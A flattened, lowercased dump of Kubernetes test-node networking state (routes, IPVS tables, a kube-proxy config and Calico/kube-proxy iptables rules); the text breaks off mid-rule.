10.1.0.0/23 via 192.168.10.21 dev bond0.10  proto bird \r 10.1.2.192/26 via 192.168.10.21 dev bond0.10  proto bird \r 10.1.23.128/26 via 192.168.10.22 dev bond0.10  proto bird \r 169.254.169.254 via 192.168.10.1 dev bond0.10 \r 172.16.0.0/12 via 192.168.10.1 dev bond0.10 \r 192.168.0.0/16 via 192.168.10.1 dev bond0.10 \r 192.168.10.0/24 dev bond0.10  proto kernel  scope link  src 192.168.10.20 \r    \r 192.168.10.21\r    \r ip route \r default via 192.168.10.1 dev bond0.10 onlink \r 10.0.0.0/8 via 192.168.10.1 dev bond0.10 \r 10.1.2.192 dev cali5a76e77a97c  scope link \r blackhole 10.1.2.192/26  proto bird \r 10.1.2.193 dev cali45880a4444f  scope link \r 10.1.2.196 dev cali7898109f86f  scope link \r 10.1.2.197 dev calibc99560e20f  scope link \r 10.1.2.199 dev calid41054c4262  scope link \r 10.1.23.128/26 via 192.168.10.22 dev bond0.10  proto bird \r 169.254.169.254 via 192.168.10.1 dev bond0.10 \r 172.16.0.0/12 via 192.168.10.1 dev bond0.10 \r 192.168.0.0/16 via 192.168.10.1 dev bond0.10 \r 192.168.10.0/24 dev bond0.10  proto kernel  scope link  src 192.168.10.21 \r \r root@k8s-test02:~ ipvsadm -l -n\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.1.0.1:443 rr\r   -> 192.168.10.20:443            masq    1      0          0         \r tcp  10.1.0.2:53 rr\r   -> 10.1.2.199:53                masq    1      0          0         \r   -> 10.1.23.131:53               masq    1      0          0         \r tcp  10.1.0.2:9153 rr\r   -> 10.1.2.199:9153              masq    1      0          0         \r   -> 10.1.23.131:9153             masq    1      0          0         \r udp  10.1.0.2:53 rr\r   -> 10.1.2.199:53                masq    1      0          0         \r   -> 10.1.23.131:53               masq    1      0          0\r    \r 192.168.10.22\r    \r root@k8s-test03:~  ip route\r default via 192.168.10.1 dev bond0.10 onlink \r 10.0.0.0/8 via 192.168.10.1 dev bond0.10 \r 10.1.2.192/26 via 192.168.10.21 dev bond0.10  proto bird \r 10.1.23.128 dev calic1f852dacaf  scope link \r blackhole 10.1.23.128/26  proto bird \r 10.1.23.129 dev cali3f81cdb40bb  scope link \r 10.1.23.131 dev cali1fe6ce8f95b  scope link \r 169.254.169.254 via 192.168.10.1 dev bond0.10 \r 172.16.0.0/12 via 192.168.10.1 dev bond0.10 \r 192.168.0.0/16 via 192.168.10.1 dev bond0.10 \r 192.168.10.0/24 dev bond0.10  proto kernel  scope link  src 192.168.10.22 \r \r ipvsadm -l -n\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.1.0.1:443 rr\r   -> 192.168.10.20:443            masq    1      0          0         \r tcp  10.1.0.2:53 rr\r   -> 10.1.2.199:53                masq    1      0          0         \r   -> 10.1.23.131:53               masq    1      0          0         \r tcp  10.1.0.2:9153 rr\r   -> 10.1.2.199:9153              masq    1      0          0         \r   -> 10.1.23.131:9153             masq    1      0          0         \r udp  10.1.0.2:53 rr\r   -> 10.1.2.199:53                masq    1      0          0         \r   -> 10.1.23.131:53               masq    1      0          0\r \r    \r kube-proxy config file \r    \r \r apiversion: kubeproxy.config.k8s.io/v1alpha1\r bindaddress: 0.0.0.0\r clientconnection:\r   acceptcontenttypes: \ \ \r   burst: 10\r   contenttype: application/vnd.kubernetes.protobuf\r   kubeconfig: \ /etc/kubernetes/kube-proxy.kubeconfig\ \r   qps: 5 \r clustercidr: \ \  \r \r configsyncperiod: 15m0s\r conntrack:\r   max: 0\r   maxpercore: 0\r   min: 131072\r   tcpclosewaittimeout: 0s\r   tcpestablishedtimeout: 0s\r enableprofiling: false\r healthzbindaddress: 0.0.0.0:10256\r hostnameoverride: \ \ \r iptables:\r   masqueradeall: false\r   masqueradebit: 14\r   minsyncperiod: 0s\r   syncperiod: 30s\r ipvs:\r   excludecidrs: null\r   minsyncperiod: 0s\r   scheduler: \ \ \r   syncperiod: 30s\r kind: kubeproxyconfiguration\r metricsbindaddress: 127.0.0.1:10249\r mode: \ ipvs\ \r nodeportaddresses: null\r oomscoreadj: -999\r portrange: \ \ \r resourcecontainer: /kube-proxy\r udpidletimeout: 250ms\r winkernel:\r   enabledsr: false\r   networkname: \ \ \r   sourcevip: \ \ \r    \r iptable\r    \r   generated by iptables-save v1.6.0 on fri may 17 22:56:44 2019\r  raw\r :prerouting accept  5774221:1526143696 \r :output accept  3428319:236630406 \r :cali-output -  0:0 \r :cali-prerouting -  0:0 \r :cali-failsafe-in -  0:0 \r :cali-failsafe-out -  0:0 \r :cali-from-host-endpoint -  0:0 \r :cali-to-host-endpoint -  0:0 \r -a prerouting -m comment --comment \ cali:6gwbt8clxdhdc1b1\  -j cali-prerouting\r -a output -m comment --comment \ cali:tvnhkvao15huipy0\  -j cali-output\r -a cali-output -m comment --comment \ cali:njdnlwyegqbjymxw\  -j mark --set-xmark 0x0/0xf0000\r -a cali-output -m comment --comment \ cali:rz86utucezaffsh7\  -j cali-to-host-endpoint\r -a cali-output -m comment --comment \ cali:pn0f5zd0b8yf9w1z\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-prerouting -m comment --comment \ cali:xfx5xbm8b9qr10jg\  -j mark --set-xmark 0x0/0xf0000\r -a cali-prerouting -i cali+ -m comment --comment \ cali:ewmpb0zvrom-woqp\  -j mark --set-xmark 0x40000/0x40000\r -a cali-prerouting -m comment --comment \ cali:ek_rsnpunydlk3sh\  -m mark --mark 0x0/0x40000 -j cali-from-host-endpoint\r -a cali-prerouting -m comment --comment \ cali:nm-dztfpwqbqvtrj\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:wwfqm43tju7wwnfz\  -m multiport --dports 22 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:lwnv--r8mjeuyacw\  -m multiport --dports 68 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:qoo5nuoqoss1_iw0\  -m multiport --dports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:cwzwobswveiazmvn\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:7fbnxt91kuge_upr\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:ywe9wyubepve70wt\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:l-wqsvbf_lygpr0j\  -m multiport --dports 6667 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:k9jpbsnz833byntn\  -m multiport --sports 53 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:h6bdkhxihjfdqfvi\  -m multiport --sports 67 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:zxyjjqrmkukxdhob\  -m multiport --sports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:simwjhaxrpmahoeo\  -m multiport --sports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:hvk-re2in6cmdio-\  -m multiport --sports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:czejyl2nb2rlhrhj\  -m multiport --sports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:poam7ro8patnz_3v\  -m multiport --sports 6667 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:82hjfji-wchfhaql\  -m multiport --dports 53 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:tnm3rfejbnr72hgh\  -m multiport --dports 67 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ycxkitil4u3dk0hr\  -m multiport --dports 179 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:hxjewyxdkxxkdvut\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ca_gltruuvg88kio\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:sb1hklyfmrks6r01\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:uwlsebgonjug4yg-\  -m multiport --dports 6667 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:r23cvaiw0rotmtyk\  -m multiport --sports 22 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:d9ju-lf4zjkkttdd\  -m multiport --sports 68 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:5zdpohuwmrjzlzzl\  -m multiport --sports 179 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:jq44rynzfyowgr4q\  -m multiport --sports 2379 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:oigbcpr5gp0hw_y6\  -m multiport --sports 2380 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:iwxweitn771ftz2n\  -m multiport --sports 6666 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ot9a94gzys2kttdj\  -m multiport --sports 6667 -j accept\r commit\r   completed on fri may 17 22:56:44 2019\r   generated by iptables-save v1.6.0 on fri may 17 22:56:44 2019\r  mangle\r :prerouting accept  2404910:609951360 \r :input accept  4223108:1099825022 \r :forward accept  636032:126793303 \r :output accept  3428328:236632062 \r :postrouting accept  4064317:363421274 \r :cali-prerouting -  0:0 \r :cali-failsafe-in -  0:0 \r :cali-from-host-endpoint -  0:0 \r -a prerouting -m comment --comment \ cali:6gwbt8clxdhdc1b1\  -j cali-prerouting\r -a cali-prerouting -m comment --comment \ cali:6bjqbjbc7crta-7-\  -m conntrack --ctstate related,established -j accept\r -a cali-prerouting -m comment --comment \ cali:kx7agnd6rmcduai6\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-prerouting -m comment --comment \ cali:wnh7ksa3ilkjbsy9\  -j cali-from-host-endpoint\r -a cali-prerouting -m comment --comment \ cali:cg96mgvuopm7umro\  -m comment --comment \ host endpoint policy accepted packet.\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:wwfqm43tju7wwnfz\  -m multiport --dports 22 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:lwnv--r8mjeuyacw\  -m multiport --dports 68 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:qoo5nuoqoss1_iw0\  -m multiport --dports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:cwzwobswveiazmvn\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:7fbnxt91kuge_upr\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:ywe9wyubepve70wt\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:l-wqsvbf_lygpr0j\  -m multiport --dports 6667 -j accept\r commit\r   completed on fri may 17 22:56:44 2019\r   generated by iptables-save v1.6.0 on fri may 17 22:56:44 2019\r  nat\r :prerouting accept  153:33110 \r :input accept  27:1404 \r :output accept  48:3181 \r :postrouting accept  82:4711 \r :docker -  0:0 \r :kube-firewall -  0:0 \r :kube-load-balancer -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-node-port -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-3xaoq5xlbdhczsuc -  0:0 \r :kube-sep-aelrvxhakkhdnajq -  0:0 \r :kube-sep-ez2udezqhjdceues -  0:0 \r :kube-sep-kydsxqqz43c5hh5x -  0:0 \r :kube-sep-sjpczqsz3e2yllxk -  0:0 \r :kube-sep-sxchztyrvucb76jt -  0:0 \r :kube-sep-w3rapavntq232pcs -  0:0 \r :kube-services -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-jd5mr3na4i4dyorp -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :cali-output -  0:0 \r :cali-postrouting -  0:0 \r :cali-prerouting -  0:0 \r :cali-fip-dnat -  0:0 \r :cali-fip-snat -  0:0 \r :cali-nat-outgoing -  0:0 \r -a prerouting -m comment --comment \ cali:6gwbt8clxdhdc1b1\  -j cali-prerouting\r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -m comment --comment \ cali:tvnhkvao15huipy0\  -j cali-output\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a postrouting -m comment --comment \ cali:o3lywmrlqyemjtb5\  -j cali-postrouting\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a kube-firewall -j kube-mark-drop\r -a kube-load-balancer -j kube-mark-masq\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-postrouting -m comment --comment \ kubernetes endpoints dst ip:port, source ip for solving hairpin purpose\  -m set --match-set kube-loop-back dst,dst,src -j masquerade\r -a kube-sep-3xaoq5xlbdhczsuc -s 10.1.23.131/32 -j kube-mark-masq\r -a kube-sep-3xaoq5xlbdhczsuc -p tcp -m tcp -j dnat --to-destination 10.1.23.131:53\r -a kube-sep-aelrvxhakkhdnajq -s 192.168.10.20/32 -j kube-mark-masq\r -a kube-sep-aelrvxhakkhdnajq -p tcp -m tcp -j dnat --to-destination 192.168.10.20:443\r -a kube-sep-ez2udezqhjdceues -s 10.1.2.199/32 -j kube-mark-masq\r -a kube-sep-ez2udezqhjdceues -p tcp -m tcp -j dnat --to-destination 10.1.2.199:9153\r -a kube-sep-kydsxqqz43c5hh5x -s 10.1.2.199/32 -j kube-mark-masq\r -a kube-sep-kydsxqqz43c5hh5x -p tcp -m tcp -j dnat --to-destination 10.1.2.199:53\r -a kube-sep-sjpczqsz3e2yllxk -s 10.1.2.199/32 -j kube-mark-masq\r -a kube-sep-sjpczqsz3e2yllxk -p udp -m udp -j dnat --to-destination 10.1.2.199:53\r -a kube-sep-sxchztyrvucb76jt -s 10.1.23.131/32 -j kube-mark-masq\r -a kube-sep-sxchztyrvucb76jt -p udp -m udp -j dnat --to-destination 10.1.23.131:53\r -a kube-sep-w3rapavntq232pcs -s 10.1.23.131/32 -j kube-mark-masq\r -a kube-sep-w3rapavntq232pcs -p tcp -m tcp -j dnat --to-destination 10.1.23.131:9153\r -a kube-services -m comment --comment \ kubernetes service cluster ip + port for masquerade purpose\  -m set --match-set kube-cluster-ip src,dst -j kube-mark-masq\r -a kube-services -m addrtype --dst-type local -j kube-node-port\r -a kube-services -m set --match-set kube-cluster-ip dst,dst -j accept\r -a kube-svc-erifxisqep7f7of4 -m statistic --mode random --probability 0.50000000000 -j kube-sep-kydsxqqz43c5hh5x\r -a kube-svc-erifxisqep7f7of4 -j kube-sep-3xaoq5xlbdhczsuc\r -a kube-svc-jd5mr3na4i4dyorp -m statistic --mode random --probability 0.50000000000 -j kube-sep-ez2udezqhjdceues\r -a kube-svc-jd5mr3na4i4dyorp -j kube-sep-w3rapavntq232pcs\r -a kube-svc-npx46m4ptmtkrn6y -j kube-sep-aelrvxhakkhdnajq\r -a kube-svc-tcou7jcqxezgvunu -m statistic --mode random --probability 0.50000000000 -j kube-sep-sjpczqsz3e2yllxk\r -a kube-svc-tcou7jcqxezgvunu -j kube-sep-sxchztyrvucb76jt\r -a cali-output -m comment --comment \ cali:gbtav2p5cweveyjm\  -j cali-fip-dnat\r -a cali-postrouting -m comment --comment \ cali:z-c7xtvd2bq7s_ha\  -j cali-fip-snat\r -a cali-postrouting -m comment --comment \ cali:nykhezdlr11jccal\  -j cali-nat-outgoing\r -a cali-prerouting -m comment --comment \ cali:r6xmiziwujsdok6z\  -j cali-fip-dnat\r commit\r   completed on fri may 17 22:56:44 2019\r   generated by iptables-save v1.6.0 on fri may 17 22:56:44 2019\r  filter\r :input accept  403:83013 \r :forward drop  0:0 \r :output accept  348:22855 \r :docker -  0:0 \r :docker-isolation-stage-1 -  0:0 \r :docker-isolation-stage-2 -  0:0 \r :docker-user -  0:0 \r :kube-external-services -  0:0 \r :kube-firewall -  0:0 \r :kube-forward -  0:0 \r :kube-services -  0:0 \r :cali-forward -  0:0 \r :cali-input -  0:0 \r :cali-output -  0:0 \r :cali-failsafe-in -  0:0 \r :cali-failsafe-out -  0:0 \r :cali-forward-check -  0:0 \r :cali-forward-endpoint-mark -  0:0 \r :cali-from-endpoint-mark -  0:0 \r :cali-from-hep-forward -  0:0 \r :cali-from-host-endpoint -  0:0 \r :cali-from-wl-dispatch -  0:0 \r :cali-fw-cali1fe6ce8f95b -  0:0 \r :cali-fw-cali3f81cdb40bb -  0:0 \r :cali-fw-calic1f852dacaf -  0:0 \r :cali-pri-calico-k8s-network -  0:0 \r :cali-pro-calico-k8s-network -  0:0 \r :cali-set-endpoint-mark -  0:0 \r :cali-sm-cali1fe6ce8f95b -  0:0 \r :cali-sm-cali3f81cdb40bb -  0:0 \r :cali-sm-calic1f852dacaf -  0:0 \r :cali-to-hep-forward -  0:0 \r :cali-to-host-endpoint -  0:0 \r :cali-to-wl-dispatch -  0:0 \r :cali-tw-cali1fe6ce8f95b -  0:0 \r :cali-tw-cali3f81cdb40bb -  0:0 \r :cali-tw-calic1f852dacaf -  0:0 \r :cali-wl-to-host -  0:0 \r -a input -m comment --comment \ cali:cz_u1iqiximmkd4c\  -j cali-input\r -a input -m conntrack --ctstate new -m comment --comment \ kubernetes service portals\  -j kube-services\r -a input -m conntrack --ctstate new -m comment --comment \ kubernetes externally-visible service portals\  -j kube-external-services\r -a input -j kube-firewall\r -a forward -m comment --comment \ cali:wuhhoiayhpho9mso\  -j cali-forward\r -a forward -m comment --comment \ kubernetes forwarding rules\  -j kube-forward\r -a forward -m conntrack --ctstate new -m comment --comment \ kubernetes service portals\  -j kube-services\r -a forward -j docker-isolation-stage-1\r -a forward -j docker-user\r -a output -m comment --comment \ cali:tvnhkvao15huipy0\  -j cali-output\r -a output -m conntrack --ctstate new -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a docker-isolation-stage-1 -j return\r -a docker-isolation-stage-2 -j return\r -a docker-user -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x4000/0x4000 -j accept\r -a cali-forward -m comment --comment \ cali:vjrmjcrpqwy5orox\  -j mark --set-xmark 0x0/0xe0000\r -a cali-forward -m comment --comment \ cali:a_spao0mcxbt9mov\  -m mark --mark 0x0/0x10000 -j cali-from-hep-forward\r -a cali-forward -i cali+ -m comment --comment \ cali:8zoyfo5hkxwbb3pk\  -j cali-from-wl-dispatch\r -a cali-forward -o cali+ -m comment --comment \ cali:jdeuapbe14v2hutn\  -j cali-to-wl-dispatch\r -a cali-forward -m comment --comment \ cali:12bc6hljsmksmfr-\  -j cali-to-hep-forward\r -a cali-forward -m comment --comment \ cali:mh9kmp5anicl-olv\  -m comment --comment \ policy explicitly accepted packet.\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-input -m comment --comment \ cali:d4znnv6_6rx6se6m\  -j mark --set-xmark 0x0/0xfff00000\r -a cali-input -m comment --comment \ cali:yhxh2xvaasl3jbtp\  -j cali-forward-check\r -a cali-input -m comment --comment \ cali:el3eaqbtxqrid5pb\  -m mark ! --mark 0x0/0xfff00000 -j return\r -a cali-input -i cali+ -m comment --comment \ cali:hwvmpjwpirfo77b4\  -g cali-wl-to-host\r -a cali-input -m comment --comment \ cali:c3dtupgul9tvsb6y\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-input -m comment --comment \ cali:czgl26xl8reonh13\  -j mark --set-xmark 0x0/0xf0000\r -a cali-input -m comment --comment \ cali:eylnwa1nprrcgk9t\  -j cali-from-host-endpoint\r -a cali-input -m comment --comment \ cali:jebii4mutjl17qkc\  -m comment --comment \ host endpoint policy accepted packet.\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-output -m comment --comment \ cali:mq1_radxxh3ykrzw\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-output -m comment --comment \ cali:5z67ouuptom7xa1a\  -m mark ! --mark 0x0/0xfff00000 -g cali-forward-endpoint-mark\r -a cali-output -o cali+ -m comment --comment \ cali:m2wf0oehndig8mhr\  -j return\r -a cali-output -m comment --comment \ cali:qo3avihjz5eawfcc\  -j mark --set-xmark 0x0/0xf0000\r -a cali-output -m comment --comment \ cali:3krxsmf75t8rklzn\  -j cali-to-host-endpoint\r -a cali-output -m comment --comment \ cali:fc01z4hurzkd5twj\  -m comment --comment \ host endpoint policy accepted packet.\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:wwfqm43tju7wwnfz\  -m multiport --dports 22 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:lwnv--r8mjeuyacw\  -m multiport --dports 68 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:qoo5nuoqoss1_iw0\  -m multiport --dports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:cwzwobswveiazmvn\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:7fbnxt91kuge_upr\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:ywe9wyubepve70wt\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:l-wqsvbf_lygpr0j\  -m multiport --dports 6667 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:82hjfji-wchfhaql\  -m multiport --dports 53 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:tnm3rfejbnr72hgh\  -m multiport --dports 67 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ycxkitil4u3dk0hr\  -m multiport --dports 179 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:hxjewyxdkxxkdvut\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ca_gltruuvg88kio\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:sb1hklyfmrks6r01\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:uwlsebgonjug4yg-\  -m multiport --dports 6667 -j accept\r -a cali-forward-check -m comment --comment \ cali:pbldlb4faulvpdd8\  -m conntrack --ctstate related,established -j return\r -a cali-forward-check -p tcp -m comment --comment \ cali:zd-6uxuutgw-xtzg\  -m comment --comment \ to kubernetes nodeport service\  -m multiport --dports 30000:32767 -m set --match-set cali40this-host dst -g cali-set-endpoint-mark\r -a cali-forward-check -p udp -m comment --comment \ cali:cbpfuajq2bfvndq4\  -m comment --comment \ to kubernetes nodeport service\  -m multiport --dports 30000:32767 -m set --match-set cali40this-host dst -g cali-set-endpoint-mark\r -a cali-forward-check -m comment --comment \ cali:jmhu0odogx-zfe5g\  -m comment --comment \ to kubernetes service\  -m set ! --match-set cali40this-host dst -j cali-set-endpoint-mark\r -a cali-forward-endpoint-mark -m comment --comment \ cali:o0smfdrnm7kggwqw\  -m mark ! --mark 0x100000/0xfff00000 -j cali-from-endpoint-mark\r -a cali-forward-endpoint-mark -o cali+ -m comment --comment \ cali:afl0wfkrxdqj8oa6\  -j cali-to-wl-dispatch\r -a cali-forward-endpoint-mark -m comment --comment \ cali:azkvro3i_8clai5f\  -j cali-to-hep-forward\r -a cali-forward-endpoint-mark -m comment --comment \ cali:96hap1sftb-nyoya\  -j mark --set-xmark 0x0/0xfff00000\r -a cali-forward-endpoint-mark -m comment --comment \ cali:vxo6hynwz62yetul\  -m comment --comment \ policy explicitly accepted packet.\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-from-endpoint-mark -m comment --comment \ cali:ripjgl7iqrwcwlj2\  -m mark --mark 0xe6200000/0xfff00000 -g cali-fw-cali1fe6ce8f95b\r -a cali-from-endpoint-mark -m comment --comment \ cali:ys4dbfp538xi6w2a\  -m mark --mark 0xc7b00000/0xfff00000 -g cali-fw-cali3f81cdb40bb\r -a cali-from-endpoint-mark -m comment --comment \ cali:g-fpcmssra4ci8gu\  -m mark --mark 0x87800000/0xfff00000 -g cali-fw-calic1f852dacaf\r -a cali-from-endpoint-mark -m comment --comment \ cali:b3f7ari9xn2uf1i7\  -m comment --comment \ unknown interface\  -j drop\r -a cali-from-wl-dispatch -i cali1fe6ce8f95b -m comment --comment \ cali:h2q5rvshhkbil6n7\  -g cali-fw-cali1fe6ce8f95b\r -a cali-from-wl-dispatch -i cali3f81cdb40bb -m comment --comment \ cali:ibtylbmnpqd1oree\  -g cali-fw-cali3f81cdb40bb\r -a cali-from-wl-dispatch -i calic1f852dacaf -m comment --comment \ cali:sjwrzzaylflmvtf7\  -g cali-fw-calic1f852dacaf\r -a cali-from-wl-dispatch -m comment --comment \ cali:ohocypqzkdsbykor\  -m comment --comment \ unknown interface\  -j drop\r -a cali-fw-cali1fe6ce8f95b -m comment --comment \ cali:bxhempehwbih84ea\  -m conntrack --ctstate related,established -j accept\r -a cali-fw-cali1fe6ce8f95b -m comment --comment \ cali:oysixeb5zgn4c84x\  -m conntrack --ctstate invalid -j drop\r -a cali-fw-cali1fe6ce8f95b -m comment --comment \ cali:bpovgp8a1ha9tjjs\  -j mark --set-xmark 0x0/0x10000\r -a cali-fw-cali1fe6ce8f95b -m comment --comment \ cali:kejgk5xb1ko_cmpf\  -j cali-pro-calico-k8s-network\r -a cali-fw-cali1fe6ce8f95b -m comment --comment \ cali:2ucq3irati0vyv-o\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-fw-cali1fe6ce8f95b -m comment --comment \ cali:pvanocgfiofjrnxz\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-fw-cali3f81cdb40bb -m comment --comment \ cali:880fjiaazrxmp_m4\  -m conntrack --ctstate related,established -j accept\r -a cali-fw-cali3f81cdb40bb -m comment --comment \ cali:xpxwwhzcrnqctvb8\  -m conntrack --ctstate invalid -j drop\r -a cali-fw-cali3f81cdb40bb -m comment --comment \ cali:e5nez_vrbovv_d-p\  -j mark --set-xmark 0x0/0x10000\r -a cali-fw-cali3f81cdb40bb -m comment --comment \ cali:4x92dpfhbcx4uuy_\  -j cali-pro-calico-k8s-network\r -a cali-fw-cali3f81cdb40bb -m comment --comment \ cali:qihbgmoyzlbndpbo\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-fw-cali3f81cdb40bb -m comment --comment \ cali:xsgddacieulwzdzs\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-fw-calic1f852dacaf -m comment --comment \ cali:7m0w-p34rnvogbos\  -m conntrack --ctstate related,established -j accept\r -a cali-fw-calic1f852dacaf -m comment --comment \ cali:vw4zyykdmr8g4-xd\  -m conntrack --ctstate invalid -j drop\r -a cali-fw-calic1f852dacaf -m comment --comment \ cali:tdajwzbdrpjb_13l\  -j mark --set-xmark 0x0/0x10000\r -a cali-fw-calic1f852dacaf -m comment --comment \ cali:vlxrzneq2u_gpo7t\  -j cali-pro-calico-k8s-network\r -a cali-fw-calic1f852dacaf -m comment --comment \ cali:yzneojkl3pr9qv6h\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-fw-calic1f852dacaf -m comment --comment \ cali:-2jbao0huj2_goo6\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-pri-calico-k8s-network -m comment --comment \ cali:sasgrx_5wsuidh9o\  -j mark --set-xmark 0x10000/0x10000\r -a cali-pri-calico-k8s-network -m comment --comment \ cali:givb7f3rwgp4kb16\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-pro-calico-k8s-network -m comment --comment \ cali:1dapj369j9zo1u0i\  -j mark --set-xmark 0x10000/0x10000\r -a cali-pro-calico-k8s-network -m comment --comment \ cali:d7xsuxnftyx0rar9\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-set-endpoint-mark -i cali1fe6ce8f95b -m comment --comment \ cali:dassiuqzrixsnvti\  -g cali-sm-cali1fe6ce8f95b\r -a cali-set-endpoint-mark -i cali3f81cdb40bb -m comment --comment \ cali:lxmobxmqiiytjzrb\  -g cali-sm-cali3f81cdb40bb\r -a cali-set-endpoint-mark -i calic1f852dacaf -m comment --comment \ cali:srw0huu5hsmec9de\  -g cali-sm-calic1f852dacaf\r -a cali-set-endpoint-mark -i cali+ -m comment --comment \ cali:ji6gnpnxrtn-ij5v\  -m comment --comment \ unknown endpoint\  -j drop\r -a cali-set-endpoint-mark -m comment --comment \ cali:ybbpd_mjzq7lxee0\  -m comment --comment \ non-cali endpoint mark\  -j mark --set-xmark 0x100000/0xfff00000\r -a cali-sm-cali1fe6ce8f95b -m comment --comment \ cali:3nrpdcndbk9clnnp\  -j mark --set-xmark 0xe6200000/0xfff00000\r -a cali-sm-cali3f81cdb40bb -m comment --comment \ cali:zv5tstoazmlbryj6\  -j mark --set-xmark 0xc7b00000/0xfff00000\r -a cali-sm-calic1f852dacaf -m comment --comment \ cali:hmzggd3nvhcqaj8d\  -j mark --set-xmark 0x87800000/0xfff00000\r -a cali-to-wl-dispatch -o cali1fe6ce8f95b -m comment --comment \ cali:ykuktxafc_awwnb1\  -g cali-tw-cali1fe6ce8f95b\r -a cali-to-wl-dispatch -o cali3f81cdb40bb -m comment --comment \ 